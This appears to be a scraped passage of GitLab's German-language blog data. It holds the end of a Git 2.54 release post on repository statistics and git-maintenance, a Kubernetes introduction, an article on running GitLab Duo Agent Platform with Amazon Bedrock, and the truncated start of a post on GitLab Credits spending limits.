Tags                |  737.48 KiB |\n|   * Disk size             |  181.37 MiB |\n|     * Commits             |   33.11 MiB |\n|     * Trees               |   40.58 MiB |\n|     * Blobs               |  107.11 MiB |\n|     * Tags                |  582.67 KiB |\n|                           |             |\n| * Largest objects         |             |\n|   * Commits               |             |\n|     * Maximum size    [1] |   17.23 KiB |\n|     * Maximum parents [2] |      10     |\n|   * Trees                 |             |\n|     * Maximum size    [3] |   58.85 KiB |\n|     * Maximum entries [4] |    1.18 k   |\n|   * Blobs                 |             |\n|     * Maximum size    [5] | 1019.51 KiB |\n|   * Tags                  |             |\n|     * Maximum size    [6] |    7.13 KiB |\n\n[1] f6ecb603ff8af608a417d7724727d6bc3a9dbfdf\n[2] 16d7601e176cd53f3c2f02367698d06b85e08879\n[3] 203ee97047731b9fd3ad220faa607b6677861a0d\n[4] 203ee97047731b9fd3ad220faa607b6677861a0d\n[5] aa96f8bc361fd84a1459440f1e7de02ab0dc3543\n[6] 07e38db6a5a03690034d27104401f6c8ea40f1fc\n```\n\n\nMit diesen Informationen ist die Funktionsparität mit git-sizer(1) nahezu erreicht. Ganz fertig ist die Arbeit aber noch nicht – geplant sind weitere Features wie:\n\n\n- Severity Levels wie sie in git-sizer(1) existieren\n\n- Graphen, die die Verteilung der Objektgrößen visualisieren\n\n- Die Möglichkeit, Objekte zu scannen, die über eine Teilmenge von Referenzen erreichbar sind\n\n\n*Dieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.*\n\n\n## Neue Infrastruktur für Repository-Wartung\n\n\nBeim Schreiben von Daten in ein Git-Repository entstehen in der Regel weitere Loose-Objekte. Ohne Verwaltung führt dies zu einer großen Anzahl separater Dateien im Verzeichnis `.git/objects/`, was mehrere Operationen verlangsamt, die auf viele Objekte gleichzeitig zugreifen wollen. Git packt diese Objekte daher regelmäßig in \"Packfiles\", um eine gute Performance sicherzustellen.\n\n\nDas ist aber nicht die einzige Datenstruktur, die im Laufe der Zeit ineffizient werden kann: Das Aktualisieren von Referenzen kann Loose-Referenzen erzeugen, Reflogs müssen getrimmt, Worktrees können veralten, und Caches wie Commit-Graphen müssen regelmäßig aktualisiert werden.\n\n\nAll diese Aufgaben wurden historisch von [git-gc(1)](https://git-scm.com/docs/git-gc) verwaltet. Dieses Tool hat jedoch eine monolithische Architektur, in der es im Grunde alle erforderlichen Aufgaben sequenziell ausführt. Diese Grundlage ist schwer erweiterbar und bietet wenig Flexibilität, wenn die Wartung leicht angepasst werden soll.\n\n\nDas Git-Projekt führte in Git 2.29 das neue Tool [git-maintenance(1)](https://git-scm.com/docs/git-maintenance) ein. Im Gegensatz zu git-gc(1) ist git-maintenance(1) nicht monolithisch, sondern um Tasks herum strukturiert. Diese Tasks sind frei konfigurierbar, sodass kontrolliert werden kann, welche Tasks ausgeführt werden, was eine deutlich feinere Kontrolle über die Repository-Wartung ermöglicht.\n\n\nSchließlich wurde Git standardmäßig auf git-maintenance(1) umgestellt. Zu Beginn war allerdings der einzige standardmäßig aktivierte Task der git-gc(1)-Task, der – wie der Name vermuten lässt – einfach `git gc` ausführt. Um die Wartung manuell mit dem neuen Befehl auszuführen, kann `git maintenance run` aufgerufen werden, aber Git führt dies auch automatisch nach verschiedenen anderen Befehlen aus.\n\n\nIn den letzten Releases wurden alle einzelnen Tasks implementiert, die von git-gc(1) unterstützt werden, auch in git-maintenance(1), um Funktionsparität zwischen den beiden Tools sicherzustellen.\n\n\nDarüber hinaus wurde ein neuer Task implementiert, der Gits moderne Architektur für das Repacking von Objekten mit [Geometric Compaction](https://git-scm.com/docs/git-repack#Documentation/git-repack.txt---geometricfactor) nutzt. Geometric Compaction eignet sich deutlich besser für große Monorepos, und mit den Arbeiten zur Kompatibilität mit Partial Clones, [die in Git 2.53 eingeflossen sind](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-53-0/#geometric-repacking-support-with-promisor-remotes), stellen sie jetzt einen vollständigen Ersatz für die bisherige Repacking-Strategie in Git dar.\n\n\nMit Git 2.54 wurde nun ein weiterer bedeutender Meilenstein erreicht: Statt der bisherigen git-gc(1)-basierten Strategie wird jetzt standardmäßig Geometric Repacking mit feingranularen individuellen Wartungs-Tasks verwendet! Neben der höheren Effizienz für große Monorepos stellt dies auch eine einfachere Grundlage für zukünftige Weiterentwicklungen sicher.\n\n\n*Die git-maintenance(1)-Infrastruktur wurde ursprünglich von [Derrick Stolee](https://github.com/derrickstolee) implementiert, und Geometric Maintenance wurde von [Taylor Blau](https://github.com/ttaylorr) eingeführt. Die Arbeit zur Einführung der neuen feingranularen Tasks und die Migration zur neuen Wartungsstrategie wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.*\n\n\n## Weiterlesen\n\n\nDieser Artikel hat nur einige der Beiträge hervorgehoben, die von GitLab und der breiteren Git-Community zu diesem aktuellen Release geleistet wurden. Weitere Informationen dazu finden sich in der [offiziellen Release-Ankündigung](https://lore.kernel.org/git/xmqqa4uxsjrs.fsf@gitster.g/T/#u) des Git-Projekts. Außerdem lohnt sich ein Blick in die [früheren Git-Release-Blogposts](https://about.gitlab.com/blog/tags/git/), um weitere vergangene Highlights der Beiträge von GitLab-Teammitgliedern zu sehen.\n",{"slug":1129,"featured":687,"template":836},"whats-new-in-git-2-54-0",{"content":1131,"config":1141},{"title":1132,"description":1133,"authors":1134,"heroImage":1136,"date":1137,"body":1138,"category":774,"tags":1139,"updatedDate":1137},"Kubernetes: Container-Orchestrierung verstehen und einsetzen","Kubernetes (K8s) für containerisierte Anwendungen: Dieser Artikel erklärt Architektur, Vorteile, Grenzen und den Einsatz mit GitLab.",[1135],"GitLab Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660215/Blog/Hero%20Images/kubernetes-container-orchestration-solution.jpg","2026-03-02","Kubernetes automatisiert die Bereitstellung und Verwaltung\ncontainerisierter Anwendungen in großem Maßstab. Mit der Zeit ist\nKubernetes zu einem zentralen Werkzeug für die Anwendungsentwicklung\ngeworden – etwa in den Bereichen\n[Microservices](https://about.gitlab.com/de-de/topics/microservices/),\nWebanwendungen und Datenbanken. Leistungsfähigkeit und Skalierbarkeit\nmachen K8s heute zum anerkannten Standard im Container-Management.\n\nDieser Artikel bietet einen umfassenden Einstieg in Kubernetes.\n\n## Was ist Kubernetes?\n\nKubernetes ist ein Open-Source-System zur effizienten Orchestrierung von\nContainern einer Softwareanwendung. Containerisierung ist ein weit\nverbreiteter Ansatz in der Anwendungsentwicklung – besonders im Bereich\nder digitalen Transformation und der Cloud.\n\nZur Erinnerung: **Containerisierung ist eine Methode der\nAnwendungsentwicklung, bei der die Komponenten einer Anwendung in\nstandardisierte, geräte- und betriebssystemunabhängige Einheiten –\nsogenannte Container – zusammengefasst werden.** Durch die Isolierung von\nAnwendungen von ihrer Umgebung erleichtert diese Technologie die\nBereitstellung und Portabilität und reduziert Kompatibilitätsprobleme.\n\nHier kommt Kubernetes ins Spiel. Container ermöglichen zwar die Aufteilung\nvon Anwendungen in kleinere, eigenständige Module, die leichter\nbereitzustellen sind. Damit Container jedoch innerhalb einer Anwendung\nzusammenarbeiten können, ist ein übergeordnetes Verwaltungssystem\nerforderlich. Genau das leistet Kubernetes: Die Plattform steuert, wo und\nwie Container ausgeführt werden, und ermöglicht so die Orchestrierung und\nPlanung containerisierter Anwendungen in großem Maßstab.\n\n> Weitere [GitLab-Artikel zu Kubernetes](https://about.gitlab.com/de-de/blog/tags/kubernetes/).\n\n## Wie funktioniert eine Kubernetes-Architektur?\n\nUm die Kubernetes-Architektur zu verstehen, sind einige grundlegende\nKonzepte wichtig – allen voran das des Clusters, der die umfassendste\nEinheit innerhalb der Architektur darstellt. Ein Kubernetes-Cluster ist\ndie Gesamtheit der virtuellen oder physischen Maschinen, auf denen eine\ncontainerisierte Anwendung betrieben wird.\n\n![Komponenten von\nKubernetes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673941/Blog/Content%20Images/components-of-kubernetes.png)\n\nQuelle:\n[Kubernetes](https://kubernetes.io/docs/concepts/overview/components/).\n\nEin Cluster besteht aus verschiedenen Elementen:\n- Node: Eine Arbeitseinheit im Kubernetes-Cluster – eine virtuelle oder\nphysische Maschine, die Aufgaben im Auftrag der Anwendung übernimmt.\n- Pod: Der kleinste bereitstellbare Baustein in Kubernetes. Ein Pod ist\neine Gruppe von Containern, die gemeinsam auf demselben Node ausgeführt\nwerden. Container innerhalb eines Pods teilen dasselbe Netzwerk und\nkommunizieren über localhost miteinander.\n- Service: Ein Kubernetes-Service macht einen Pod für das Netzwerk oder\nandere Pods zugänglich und bietet einen stabilen, klar definierten\nZugangspunkt zu den in Pods gehosteten Anwendungen.\n- Volume: Eine Ordnerabstraktion, die Probleme beim Teilen und Abrufen\nvon Dateien innerhalb eines Containers löst.\n- Namespace: Ein Namespace ermöglicht die Gruppierung und Isolierung von\nRessourcen zu einem virtuellen Cluster.\n\nDie Kubernetes-Architektur basiert auf zwei Knotentypen: dem Master Node\nund den Worker Nodes. Der Master Node ist für die übergeordnete Verwaltung\ndes Kubernetes-Clusters und die Kommunikation mit den Worker Nodes\nzuständig. Zu seinen zentralen Komponenten zählt die API als\nKommunikationszentrum zwischen Nutzenden und Cluster. Das\n[etcd](https://kubernetes.io/docs/concepts/overview/components/#etcd)\nist die Key-Value-Datenbank, in der Konfigurationen, Systemzustand und\nObjekt-Metadaten gespeichert werden. Der Controller Manager koordiniert\nHintergrundoperationen wie die Pod-Replikation, der Scheduler platziert\nPods auf Nodes entsprechend der verfügbaren Ressourcen.\n\nWorker Nodes hingegen sind die Maschinen, auf denen die in den Pods\nenthaltenen Anwendungen ausgeführt und verwaltet werden. Das\n[kubelet](https://kubernetes.io/docs/concepts/overview/components/#kubelet)\nist der Agent, der auf jedem Node läuft und mit dem Master kommuniziert,\num Befehle zu empfangen und den Status der Pods zu übermitteln. Der\nNetzwerk-Proxy\n[kube-proxy](https://kubernetes.io/docs/concepts/overview/components/)\npflegt die Netzwerkregeln auf den Nodes und ermöglicht so den Zugriff auf\nServices von außerhalb des Kubernetes-Clusters. Die Container-Runtime\nschließlich ist die Software, die für die Ausführung und Verwaltung der\nContainer innerhalb der Pods verantwortlich ist.\n\n### Die Rolle von Docker\n\nBei allen Komponenten eines K8s-Clusters ist die Wahl der Runtime innerhalb\nder Worker Nodes von Bedeutung. Verschiedene Softwarelösungen stehen dafür\nzur Verfügung, etwa CRI-O – Docker ist jedoch das am häufigsten eingesetzte\nWerkzeug.\n\n### Was ist der Unterschied zwischen Docker und Kubernetes?\n\nDocker ist eine Open-Source-Lösung, die speziell auf Container-Ebene\neingesetzt wird. Sie ermöglicht die Paketierung von Containern in einem\nstandardisierten und schlanken Format, was ihre Portabilität in\nverschiedenen Umgebungen erhöht. Docker ist damit ein ergänzendes Werkzeug\nzu K8s: Es vereinfacht die Verwaltung der Container selbst, während\nKubernetes deren Integration und Kommunikation innerhalb der Anwendung\nerleichtert.\n\n## Welche Vorteile bietet Kubernetes?\n\nSeit dem Start durch Google im Jahr 2014 und der ersten stabilen Version\nim Juli 2015 hat sich Kubernetes als Referenz im Bereich der\nContainer-Orchestrierung etabliert – insbesondere für\nMicroservice-orientierte Architekturen. Diese Verbreitung ist vor allem\nauf die Leistungsfähigkeit von K8s in der Container-Orchestrierung\nzurückzuführen.\n\nDie Vorteile von Kubernetes im Überblick:\n- Automatisierung: Kubernetes erleichtert die Automatisierung von Aufgaben\nrund um Bereitstellung, Skalierung und Aktualisierung containerisierter\nAnwendungen.\n- Flexibilität: Die Software passt sich an unterschiedliche\nContainer-Technologien sowie verschiedene Hardware-Architekturen und\nBetriebssysteme an.\n- Skalierbarkeit: K8s ermöglicht die Bereitstellung und Verwaltung\ntausender Container – unabhängig von deren Status: laufend, pausiert oder\ngestoppt.\n- Migration: Anwendungen lassen sich zu Kubernetes migrieren, ohne den\nQuellcode ändern zu müssen.\n- Multi-Cluster-Unterstützung: Kubernetes verwaltet zentral mehrere\nContainer-Cluster, die über verschiedene Infrastrukturen verteilt sind.\n- Update-Management: Die Software unterstützt Rolling-Update-Deployments,\num Anwendungen ohne Serviceunterbrechung zu aktualisieren.\n\n## Ein robustes und skalierbares Ökosystem\n\nKubernetes zeichnet sich durch die Fähigkeit aus, Container effizient und\nzuverlässig zu verwalten und dabei unabhängig von Cloud-Infrastrukturanbietern\nzu bleiben. Die modulare Architektur passt sich den spezifischen\nAnforderungen jedes Unternehmens an und unterstützt ein breites Spektrum\nan Anwendungen und Diensten – von Webservices über Datenverarbeitung bis\nhin zu mobilen Anwendungen.\n\nKubernetes profitiert dabei von einem umfangreichen und aktiven\nOpen-Source-Ökosystem. Verwaltet von der Cloud Native Computing Foundation\n([CNCF](https://www.cncf.io/)), wird K8s von tausenden Entwicklerinnen\nund Entwicklern weltweit unterstützt, die kontinuierlich zur\nWeiterentwicklung des Projekts und seiner Funktionen beitragen.\n\n## Was sind die Grenzen von Kubernetes?\n\nDie Stärken von Kubernetes machen es für viele Entwicklungsteams im\nCloud-nativen Bereich zur soliden Grundlage. Dennoch lohnt es sich,\neinige Einschränkungen zu benennen. Kubernetes erfordert fundierte\ntechnische Kenntnisse sowie die Einarbeitung in neue Entwicklungskonzepte\nund -methoden. Die Konfiguration kann zu Beginn eines Projekts komplex\nsein – ist dabei aber entscheidend, insbesondere für die Absicherung der\nPlattform. Ein erfahrenes Entwicklungsteam mit K8s-Kenntnissen ist daher\nein wesentlicher Vorteil.\n\nEine weitere Herausforderung ist die Implementierung und Wartung einer\nK8s-Architektur, die Zeit und Ressourcen erfordert – vor allem für die\nAktualisierung der verschiedenen Komponenten und Softwareteile. Dabei\nstellt sich auch die Frage nach möglichem Oversizing: Bei kleineren\nAnwendungen oder Projekten ohne besondere Skalierungsanforderungen kann\neine einfachere Architektur ausreichend und wirtschaftlicher sein.\n\n## Kubernetes im Unternehmenseinsatz\n\nZehntausende Unternehmen haben eine Kubernetes-Architektur für ihre\ndigitale Transformation übernommen. K8s wird von Organisationen aller\nGrößen genutzt – von Startups bis zu multinationalen Konzernen.\n\nEin Beispiel für eine erfolgreiche Integration ist Haven Technologies.\nDas Unternehmen hat seine SaaS-Dienste zu K8s migriert. Dabei setzt es\nauf eine Kubernetes-Strategie mit der GitLab-DevSecOps-Plattform –\nmit messbaren Verbesserungen bei Effizienz, Sicherheit und\nEntwicklungsgeschwindigkeit. Weitere Details in der\n[Kundenreferenz](https://about.gitlab.com/customers/haven-technologies/).\n\n## Kubernetes, Git und GitLab\n\nKubernetes, Git und GitLab sind zentrale Bausteine der DevOps-Landschaft.\nKubernetes bietet hohe Flexibilität bei der Bereitstellung und Verwaltung\nder verschiedenen Anwendungskomponenten. GitLab – aufgebaut auf Git und\ndessen nativer Versionskontrolle – ermöglicht eine präzise Nachverfolgung\nvon Quellcode und Änderungen und stellt eine umfassende Werkzeugsammlung\nfür den gesamten Software-Entwicklungslebenszyklus bereit.\n\nDiese Kombination schafft gemeinsam mit einem\n[GitOps-Ansatz](https://about.gitlab.com/de-de/topics/gitops/), der die\nAutomatisierung moderner Cloud-Infrastrukturen zum Ziel hat, eine agile\nUmgebung für Anwendungsentwicklung und -bereitstellung. Alle\n[GitLab-Lösungen für den Einsatz mit Kubernetes](https://about.gitlab.com/de-de/solutions/kubernetes/)\nim Überblick.\n\n## Kubernetes FAQ\n\n### Welche Alternativen zu K8s gibt es?\n\nEs gibt verschiedene Alternativen zu Kubernetes, darunter Docker Swarm\nund Marathon. Kubernetes gilt jedoch als die ausgereifteste und am\nweitesten verbreitete Lösung auf dem Markt. Die große Nutzerbasis,\numfangreiche Dokumentation und eine aktive Community machen K8s zur\nsoliden Wahl für alle, die ein Container-Orchestrierungssystem einsetzen\nmöchten.\n\n### Was ist ein Kubernetes-Cluster?\n\nEin Kubernetes-Cluster besteht aus einem Master Node und mehreren Worker\nNodes. Der Master Node koordiniert die Aufgaben im Cluster, während die\nWorker Nodes diese Orchestrierungsaufgaben ausführen und die Container\nhosten. K8s-Cluster sind hoch skalierbar – Nodes lassen sich hinzufügen\noder entfernen, um die Clusterressourcen an die Anforderungen der Anwendung\nanzupassen.\n\n### Wie startet man mit Kubernetes?\n\nZunächst ist die Installation der Kubernetes-Software in einer kompatiblen\nUmgebung (Linux, macOS oder Windows) erforderlich. Kubernetes lässt sich\nsowohl in einer klassischen Hosting-Umgebung als auch in der Cloud\ninstallieren – etwa auf Google Kubernetes Engine oder Amazon EKS. Nach\ndem Download und der Installation von der offiziellen Website folgt die\nErstkonfiguration zur Verbindung von Master und Worker Nodes. Danach ist\ndie erste Anwendung mit Kubernetes einsatzbereit.\n\n### Warum Kubernetes wählen?\n\nKubernetes bietet hohe Flexibilität und vollständige Portabilität zwischen\nverschiedenen Cloud-Plattformen oder On-Premises-Infrastrukturen. Durch\ndie Automatisierung von Orchestrierungsaufgaben lassen sich Ressourcen\noptimieren und Betriebskosten senken. Das Kubernetes-Ökosystem ist\numfangreich und wird von einer großen Open-Source-Community\nkontinuierlich weiterentwickelt.\n\n## Mehr erfahren\n\n- [Logs über das GitLab Dashboard für Kubernetes streamen](https://about.gitlab.com/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes/)\n- [Kubernetes-Überblick: Cluster-Daten im Frontend verwalten](https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend/)\n- [Cloud-Account-Management für Kubernetes-Zugriff vereinfachen](https://about.gitlab.com/blog/simplify-your-cloud-account-management-for-kubernetes-access/)\n",[1140,1126],"kubernetes",{"slug":1142,"featured":687,"template":836},"kubernetes-the-container-orchestration-solution",{"category":71,"slug":786,"posts":1144},[1145,1158,1170],{"content":1146,"config":1156},{"title":1147,"description":1148,"authors":1149,"heroImage":915,"date":1152,"body":1153,"category":786,"tags":1154},"GitLab + Amazon: KI-Orchestrierung auf sicherem Fundament","Wie Duo Agent Platform und Amazon Bedrock Datensouveränität, Cloud-Governance und KI-Orchestrierung ohne parallele Infrastruktur vereinen.",[1150,1151],"Joe Mann","Mark Kriaf","2026-04-21","Wer GitLab einsetzt und eine ausgereifte AWS-Praxis betreibt, findet in der\nKombination aus Duo Agent Platform und Amazon Bedrock eine passende Ergänzung.\nDas Prinzip ist klar: GitLab übernimmt die Orchestrierungsschicht und\nbeschleunigt den gesamten Software-Lifecycle mit agentischer KI. Bedrock stellt\nim Hintergrund eine sichere, compliance-fähige Foundation-Model-Schicht mit\nKI-Inferenz bereit.\n\nGitLab Duo Agent Platform ermöglicht Planung, Merge-Pipelines, Security\nScanning, Vulnerability Remediation und mehr als Teil bestehender\nGitLab-Workflows. Der GitLab AI Gateway leitet Modell-Anfragen an Bedrock\nweiter – oder an GitLab-verwaltete, Bedrock-gestützte Endpunkte, je nach\nDeployment-Konfiguration. Damit lässt sich auf den IAM-Richtlinien,\nVPC-Grenzen, regionalen Kontrollen und Cloud-Commitments aufbauen, die bereits\nin AWS bestehen.\n\nWer Amazon Bedrock bereits nutzt und KI-Unterstützung innerhalb der bestehenden\nGitLab-Workflows sucht – nicht in einem weiteren eigenständigen Chat-Werkzeug –\nfindet in dieser Kombination die passende Architektur.\n\nDieser Artikel beleuchtet zunächst das Problem, mit dem viele Teams heute\nkonfrontiert sind: KI ist fragmentiert, Datenpfade sind unklar, und\nBedrock-Investitionen werden zu wenig genutzt, wenn KI außerhalb des\nSoftware-Lifecycles operiert. Anschließend werden die Deployment-Optionen für\nGitLab Duo Agent Platform erläutert:\n\n- Integriert mit selbst gehosteten Modellen auf Amazon Bedrock für GitLab\n  Self-Managed-Deployments und selbst gehosteten AI Gateway\n- Integriert mit GitLab-betriebenen Modellen auf Amazon Bedrock (mit\n  GitLab-eigenen Keys) für GitLab Self-Managed-Deployments und\n  GitLab-gehosteten AI Gateway\n- Integriert mit GitLab-betriebenen Modellen auf Amazon Bedrock (mit\n  GitLab-eigenen Keys) für GitLab.com-Instanzen und GitLab-gehosteten\n  AI Gateway\n\nAbschließend wird zusammengefasst, wie dieser Ansatz nicht freigegebene\nKI-Werkzeuge (Shadow AI) und Point-Tool-Sprawl vermeidet, ohne einen parallelen\nTech-Stack für KI-Werkzeuge aufzubauen.\n\n\n## KI überall, Kontrolle nirgends\n\nIrgendwo im Unternehmen nutzen Softwareteams gerade ein KI-Werkzeug, das die\nSicherheitsabteilung nicht freigegeben hat. Prompt-Daten verlassen\nmöglicherweise die eigene Umgebung über einen Pfad, den niemand vollständig\nnachverfolgt hat. Und die Bedrock-Investition des Unternehmens wird zu wenig\ngenutzt, während einzelne Teams separate KI-Werkzeuge auf eigene Rechnung\nbetreiben – Workloads und Cloud-Ausgaben fließen so an Plattformen ab, auf die\nbereits Commitments bestehen.\n\nDas ist kein Personalproblem – es ist ein Architekturproblem. Und es\nmanifestiert sich in nahezu jedem Unternehmen in denselben drei Einschränkungen:\n\n**Operative Fragmentierung.** Jedes Team – manchmal jede einzelne Person –\nwählt das eigene Entwicklungs-Toolset, einschließlich KI-Werkzeuge und\nModellauswahl. Diese Fragmentierung macht eine durchgängige Governance innerhalb\ndes Software-Lifecycles nahezu unmöglich.\n\n**Sicherheit und Datensouveränität.** Wo fließen Prompt- und Code-Daten\ntatsächlich hin? Wer ist Eigentümer der Protokolle?\n\n**Cloud-Ausgabenoptimierung.** Commitments gegenüber zentralen Cloud-Anbietern\nwie AWS werden verwässert, wenn Workloads und KI-Nutzung zu Point-Tools\naußerhalb bestehender Vereinbarungen abwandern.\n\nGitLab Duo Agent Platform und Amazon Bedrock adressieren diese Probleme\ngemeinsam. Die Aufgabenteilung ist eindeutig: Duo Agent Platform verantwortet\ndie Workflow-Orchestrierung mit agentischer KI für die Softwareentwicklung,\nBedrock verantwortet die Inferenzschicht und hostet freigegebene\nFoundation-Modelle, und das Unternehmen behält die vollständige Kontrolle über\ndie Daten- und Richtliniengrenzen, die bereits in AWS definiert wurden. Drei\nAufgaben, drei Verantwortliche, keine Fragmentierung.\n\n\n## GitLab Duo Agent Platform: Die agentische Steuerungsebene\n\nGitLab Duo Agent Platform ist GitLabs agentische KI-Schicht: ein Framework aus\nspezialisierten Agenten und Abläufen, die gleichzeitig und parallel operieren –\nüber traditionelle stufenbasierte Übergaben hinaus – und Arbeit über den\ngesamten Software-Lifecycle hinweg automatisieren. Statt eines einzelnen\nAssistenten, der auf Prompts reagiert, ermöglicht Duo Agent Platform Teams die\nasynchrone Orchestrierung vieler KI-Agenten auf Basis einheitlicher Daten und\nProjektkontexte. Dazu gehören Issues, Merge Requests, Pipelines und Security\nFindings. Lineare Workflows werden so zu koordinierter, kontinuierlicher\nZusammenarbeit zwischen Softwareteams und ihren KI-Agenten – im erforderlichen\nUmfang.\n\nMit dieser Steuerungsebene stellt sich die nächste Frage: Welches KI-Fundament\nsoll diese Agenten antreiben? Für Unternehmen, die GitLab Self-Managed auf AWS\nbetreiben und sicherstellen müssen, dass Inferenz-Traffic, Prompt-Daten und\nProtokolle ebenfalls in der AWS-Umgebung verbleiben – gemeinsam mit den\nSoftware-Lifecycle-Daten – ist Amazon Bedrock als KI-Inferenzschicht die\nnaheliegende Wahl.\n\n\n## Amazon Bedrock: Das vertrauenswürdige KI-Fundament\n\nAmazon Bedrock ist eine vollständig verwaltete, serverlose\nFoundation-Model-Schicht, die vollständig in der AWS-Umgebung des Kunden läuft.\nKundendaten verbleiben im AWS-Account des Kunden. Eingaben und Ausgaben sind\nwährend der Übertragung und im Ruhezustand verschlüsselt, werden nie mit\nModellanbietern geteilt und nie zum Training von Basismodellen verwendet. Bedrock\nverfügt über Compliance-Zertifizierungen für DSGVO und BSI C5, die viele\nAnforderungen regulierter Branchen abdecken. Teams können außerdem eigene\nfeinabgestimmte Modelle über Custom Model Import einbinden und gemeinsam mit\nnativen Bedrock-Modellen über dieselbe Infrastruktur betreiben – ohne separate\nDeployment-Pipelines. Bedrock Guardrails ergänzt konfigurierbare\nSchutzmaßnahmen über alle Modelle hinweg: Content-Filterung,\nHalluzinationserkennung und Schutz sensibler Daten.\n\nGemeinsam konsolidieren GitLab Duo Agent Platform und Bedrock\nDevSecOps-Orchestrierung und KI-Modell-Governance – und helfen dabei, die\nFragmentierung zu vermeiden, die entsteht, wenn Teams KI-Werkzeuge eigenständig\neinführen.\n\n\n## Die passende Deployment-Variante wählen\n\nDie Integration liefert dieselben Kernfunktionen von GitLab Duo Agent Platform,\nunabhängig von der gewählten Deployment-Variante. Was variiert, ist: Wer\nbetreibt GitLab, wer betreibt den AI Gateway, und in welchem Bedrock-Account\nläuft die Inferenz? Die passende Variante hängt davon ab, wo das Unternehmen\nbereits operiert.\n\nDie Integration umfasst drei Hauptkomponenten:\n\n- **GitLab Duo Agent Platform:** Agentische Workflows, eingebettet in den\n  gesamten Software-Lifecycle\n- **AI Gateway (GitLab-verwaltet oder selbst gehostet):** Die\n  Abstraktionsschicht zwischen Duo Agent Platform und dem\n  Foundation-Model-Backend\n- **Amazon Bedrock:** KI-Modell- und Inferenzsubstrat\n\n![Deployment von GitLab und AWS Bedrock](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776362365/udmvmv2efpmwtkxgydch.png)\n\nDie Wahl der Deployment-Variante richtet sich danach, wo das Unternehmen die\nSteuerungshebel platzieren möchte. Die folgenden Varianten sind so konzipiert,\ndass sie Teams dort abholen, wo sie bereits stehen – ob SaaS-first,\nSelf-Managed aus Compliance-Gründen oder vollständig auf AWS mit bestehenden\nBedrock-Investitionen.\n\n| Deployment-Variante | GitLab.com-Instanz mit GitLab-gehostetem AI Gateway und GitLab-betriebenen Bedrock-Modellen | GitLab Self-Managed mit GitLab-gehostetem AI Gateway und GitLab-betriebenen Bedrock-Modellen | GitLab Self-Managed mit selbst gehostetem AI Gateway und kundenbetriebenen Bedrock-Modellen |\n| :---- | :---- | :---- | :---- |\n| **Geeignet wenn:** | Primär auf GitLab.com und kein eigener Betrieb von AI Gateway und Bedrock-Modellen gewünscht | GitLab Self-Managed aus Compliance- und operativen Gründen erforderlich, aber keine eigene Verwaltung der KI-Schicht gewünscht | AWS-zentrierte Umgebung mit bestehender Bedrock-Nutzung und strengen Anforderungen an Datenkontrolle |\n| **Wesentliche Vorteile** | Schnellster Einstieg in Duo Agent Platform-Workflows: GitLab betreibt GitLab.com, den AI Gateway und die integrierten Bedrock-KI-Modelle. | GitLab in der eigenen Umgebung betreiben und Bedrock-Modelle über einen GitLab-verwalteten AI Gateway nutzen – Deployment-Kontrolle kombiniert mit vereinfachtem KI-Betrieb. | GitLab und AI Gateway im eigenen AWS-Account betreiben, bestehende IAM/VPC/Regionen wiederverwenden, Protokolle und Daten in der eigenen Umgebung halten und Bedrock-Nutzung aus bestehenden AWS-Commitments beziehen. |\n\n\n## Praxiseinsatz von GitLab Duo Agent Platform mit Amazon Bedrock\n\nPlattformteams können GitLab Duo Agent Platform mit Amazon Bedrock nutzen, um\nzentral festzulegen, welche Modelle Code-Vorschläge, Sicherheitsanalysen und\nPipeline-Remediation übernehmen. So lassen sich Schutzmaßnahmen und\nProtokollierung zentral durchsetzen, statt einzelnen Teams die eigenständige\nEinführung separater Werkzeuge zu überlassen.\n\nSecurity-Workflows profitieren besonders. GitLab Duo Agent Platform-Agenten\nkönnen Fixes für Security Findings innerhalb von GitLab vorschlagen und\nvalidieren – und so den manuellen Triage-Aufwand reduzieren, den\nEntwicklungsteams sonst außerhalb der Plattform leisten müssten.\n\nFür Unternehmen mit bestehenden AWS-Commitments lässt sich die KI-Nutzung so\nmit bestehenden Cloud-Vereinbarungen in Einklang halten. Separate, ungeplante\nAusgaben entfallen.\n\n\n## Der Kreislauf schließt sich\n\nDie Hindernisse, die Enterprise-KI-Adoption verlangsamen, sind oft nicht\ntechnischer Natur. Sie sind organisatorischer Natur: fragmentiertes Tooling,\nnicht nachverfolgbare Datenflüsse und Cloud-Ausgaben, die sich nie\nkonsolidieren. Diese Probleme können KI-Programme zum Stillstand bringen, selbst\nnachdem Pilotprojekte erfolgreich waren.\n\nGitLab Duo Agent Platform und Amazon Bedrock adressieren jeden dieser Punkte\ndirekt. Plattformteams erhalten konsistente Governance, Auditierbarkeit und\nstandardisierte Pfade für die KI-Nutzung über den gesamten Software-Lifecycle.\nEntwicklungsteams erhalten optimierte, agentische Workflows, die sich nativ in\nGitLab anfühlen. Und AWS-zentrierte Unternehmen können ihre bestehende\nBedrock-Investition erweitern, statt parallel dazu eine separate\nKI-Infrastruktur aufzubauen.\n\nDas Ergebnis ist ein KI-Programm, das skaliert, ohne zu fragmentieren.\nGovernance und Entwicklungsgeschwindigkeit auf demselben Stack, für dieselben\nTeams, unter Richtlinien, die das Unternehmen bereits besitzt.\n\n> Um die passende Deployment-Variante zu identifizieren und GitLab Duo Agent\n> Platform und Amazon Bedrock mit der bestehenden AWS-Strategie in Einklang zu\n> bringen, steht das [GitLab Sales-Team](https://about.gitlab.com/sales/) zur\n> Verfügung – für Architekturberatung und Implementierungsunterstützung.\n> Weitere Informationen bietet auch die\n> [AWS-Partnerseite](https://about.gitlab.com/partners/technology-partners/aws/).\n",[259,1155,846],"AWS",{"featured":13,"template":836,"slug":1157},"gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation",{"content":1159,"config":1168},{"title":1160,"description":1161,"authors":1162,"heroImage":1164,"date":1165,"body":1166,"category":786,"tags":1167},"GitLab 18.11: Budgetkontrolle für GitLab Credits – Ausgabelimits und Nutzergrenzen","GitLab 18.11 führt Ausgabelimits und Nutzergrenzen für GitLab Credits ein – für planbare KI-Kosten und reibungslose Budgetgenehmigungen.",[1163],"Bryan Rothwell","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776259080/cakqnwo5ecp255lo8lzo.png","2026-04-17","Teams, die GitLab Duo Agent Platform mit On-Demand GitLab Credits nutzen, profitieren von automatisierten Workflows, die früher 